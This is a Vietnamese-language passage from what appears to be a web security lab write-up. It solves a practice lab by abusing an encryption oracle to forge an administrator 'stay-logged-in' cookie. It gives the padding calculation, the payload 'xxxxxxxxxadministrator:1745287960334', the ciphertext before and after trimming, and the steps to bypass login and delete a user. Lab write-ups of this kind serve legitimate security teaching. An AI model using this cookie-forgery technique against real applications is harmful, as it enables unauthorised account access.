Như vậy, giá trị plaintext của chúng ta được thêm vào đằng trước chuỗi Invalid email address: có độ dài 23 bytes. Thử tạo ra ciphertext của administrator:1745287960334 bằng cách URL-decode, Base64 decode và xóa 23 byte đầu, sau đó encode lại và decrypt. Tuy nhiên, response có thông báo lỗi như sau:

<p class=is-warning>Input length must be multiple of 16 when decrypting with padded cipher</p>

Chúng ta cần làm cho ciphertext của chúng ta là bội số của 16. Để làm được điều này, chúng ta cần đệm thêm phía trước payload administrator:1745287960334 một vài byte (9 bytes) để khi kết hợp với độ dài của Invalid email address thì được tổng cộng 32 bytes. Khi xóa 32 bytes đầu đi (bằng Decoder của Burp), chúng ta được ciphertext của administrator:1745287960334 ở dạng bội số của 16.

Payload sử dụng:

xxxxxxxxxadministrator:1745287960334

Ciphertext nhận được:

GeMm7PsIOTLEO4my/fOcRCRMHZs3jyG+R6sjWTiejY4f++u6CY4N93+zK28ETqSLQPINae3tf0hD6jIA9AOucQ==

Base64-decode và xóa 32 bytes đầu. Sau đó, Base64-encode và URL-encode lại:

H/vrugmODfd/sytvBE6ki0DyDWnt7X9IQ%2boyAPQDrnE%3d

Giá trị decrypt là administrator:1745287960334 đúng như chúng ta mong muốn.

Sử dụng giá trị này làm stay-logged-in cookie nhằm bypass authentication (cần phải xóa session cookie) và truy cập vào /admin để xóa user carlos nhằm hoàn thành lab.

Resources